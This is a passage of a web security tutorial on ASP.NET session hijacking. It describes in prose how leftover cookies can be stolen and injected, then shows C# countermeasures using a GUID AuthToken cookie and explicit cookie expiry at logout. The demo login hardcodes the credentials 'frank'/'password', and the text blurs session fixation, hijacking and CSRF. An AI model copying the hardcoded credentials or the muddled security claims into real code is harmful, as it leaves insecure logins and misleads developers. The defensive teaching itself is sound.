of this article. Stealing Cookies Valid session IDs are not only recognized to be identification tokens, but also employed as an authenticators. Users are authenticated based on their login credentials (e.g. user names and passwords) and are issued session IDs that will effectively serve as temporary static passwords for accessing their sessions, which makes session IDs a very appealing target for attackers. The moment a user enters his credentials on login to authenticate, these data are stored in the session and cookies are generated in the client browser. The user is typically over-confident that when he is logged out, all the data would be scrubbed automatically and the session is terminated, but unfortunately, the cookie values are not deleted from the client browser, even if the session is ended, and such cookie values could be exploited by a hacker to breach into the website’s sensitive zone, without being aware of user name and password. As the following figure shows, when a user is logged in, the browser shows cookie values which are generated during authentication as: Figure: 1.5 Now log out and refresh the page. It is generally assumed that cookie values should be wiped-out automatically at the time of ending the current session, but even after proper sign-out from the current session, which is performing Session.Abandon(), Session.Clear() implicitly, the browser is still showing the previous session’s generated cookies values as follows: Figure: 1.6 Hence, revealing cookie values even without being logged in could be considered a serious threat and opens the doors to a session hijacking attack. A malicious hacker could directly access the sensitive zone of a website without being logged in by adding such retrieved cookie details manually to the browser. Here, the attacker typically uses this technique to inject the stolen cookies in the browser to hijack the someone else’s current session as follows: Defense (Securing Cookies) Countermeasures combine several approaches to overcome such session hijacking attacks. For instance, making cookie values bullet-proof by HttpOnly, explicitly removing session cookie values, employing HTTPS/ TLS (via Secure Attribute) and proper configuration. This section fixes the session hijacking vulnerability in the aforesaid code, where cookie values are not discarded even after logout, by generating another cookie having a unique value which is compared to the session value at each round-trip. Resemblance of both of these values could allow the user to enter into the website’s sensitive zone; otherwise the user is redirected to the login page. This generates a unique value never to be duplicated and there is a very low chance that the value of the new GUID is all zeroes or equal to any other GUID. Hence, such an applied random token ensures protection against a CSRF attack in a website. protected void Page_Load(object sender, EventArgs e) { if (Session["LIn"] != null && Session["AuthToken"] != null && Request.Cookies["AuthToken"] != null) { if (!Session["AuthToken"].ToString().Equals( Request.Cookies["AuthToken"].Value)) { lblMessage.Text = "You are not logged in."; } else { .. } } .. } This time in the sign-in button, another unique value GUID is generated and stored with the session variable AuthToken which is added to cookies later as follows: protected void btnLogin_Click(object sender, EventArgs e) { if (txtUsr.Text.Equals("frank") && txtPwd.Text.Equals("password")) { Session["LIn"] = txtU.Text.Trim(); string guid = Guid.NewGuid().ToString(); Session["AuthToken"] = guid; // now create a new cookie with this guid value Response.Cookies.Add(new HttpCookie("AuthToken", guid)); } .. } Finally, the logout button has the code to expire the session cookie values explicitly, which removes them from the client browser permanently. Here, we shall have to remove both session asp.NET_SessionId and AuthToken variables as follows: protected void btnLogout_Click(object sender, EventArgs e) { Session.Clear(); Session.Abandon(); Session.RemoveAll(); if (Request.Cookies["asp.NET_SessionId"] != null) { Response.Cookies["asp.NET_SessionId"].Value = string.Empty; Response.Cookies["asp.NET_SessionId"].Expires = DateTime.Now.AddMonths(-20); } if (Request.Cookies["AuthToken"] != null) { Response.Cookies["AuthToken"].Value = string.Empty; Response.Cookies["AuthToken"].Expires = DateTime.Now.AddMonths(-20); } } Okay, now browse the website again and login with the correct credentials and compare the output in the firebug with the previous output shown in figure 1.5. Here another session value AuthToken with new cookies is generated as follows: Figure: 1.7 Thereafter, sign out from the current session as earlier and refresh the page and notice the cookies section in the firebug again. Bingo! This time the browser doesn’t retain any previously stored cookie values. Hence, making cookie values bullet-proof ensures to protect against session fixation attack. Figure: 1.8 Final Note This article has explained the session fixation attack on asp.NET website in detail by giving the real time code scenario, and also pinpoints the common glitches committed by programmer at time of coding of sensitive parts like login pages. We have seen how a potential hacker can access the cookies values stored in the client browser in order to execute a session hijacking attack and breach into the sensitive zone of a website, even without being aware or having a real user name and password. Finally, we have come to an understanding to secure or make bullet-proof the cookie session values to protect our website from session fixation attack. Source